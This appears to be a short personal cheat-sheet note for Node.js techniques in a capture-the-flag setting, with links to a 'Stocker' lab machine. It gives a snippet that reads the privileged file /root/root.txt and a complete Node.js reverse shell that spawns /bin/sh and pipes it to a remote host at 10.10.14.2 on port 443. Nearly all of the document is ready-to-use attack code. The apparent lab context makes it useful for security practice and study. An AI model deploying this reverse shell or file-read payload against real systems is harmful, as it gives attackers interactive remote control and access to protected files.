Read a file
Create a file test.js with content:
1
2
3
4
5
6
const fs = require('fs');
fs.readFile('/root/root.txt', 'utf-8', (err, data) =>{
if (err) throw err;
console.log(data);
});
To execute it we can use:
1
/usr/bin/node test.js
Examples: [[Stocker#^d64ec2]]
Reverse Shell
1
2
3
4
5
6
7
8
9
10
11
12
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(443, "10.10.14.2", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
Examples: [[Stocker#^2cf0f4]]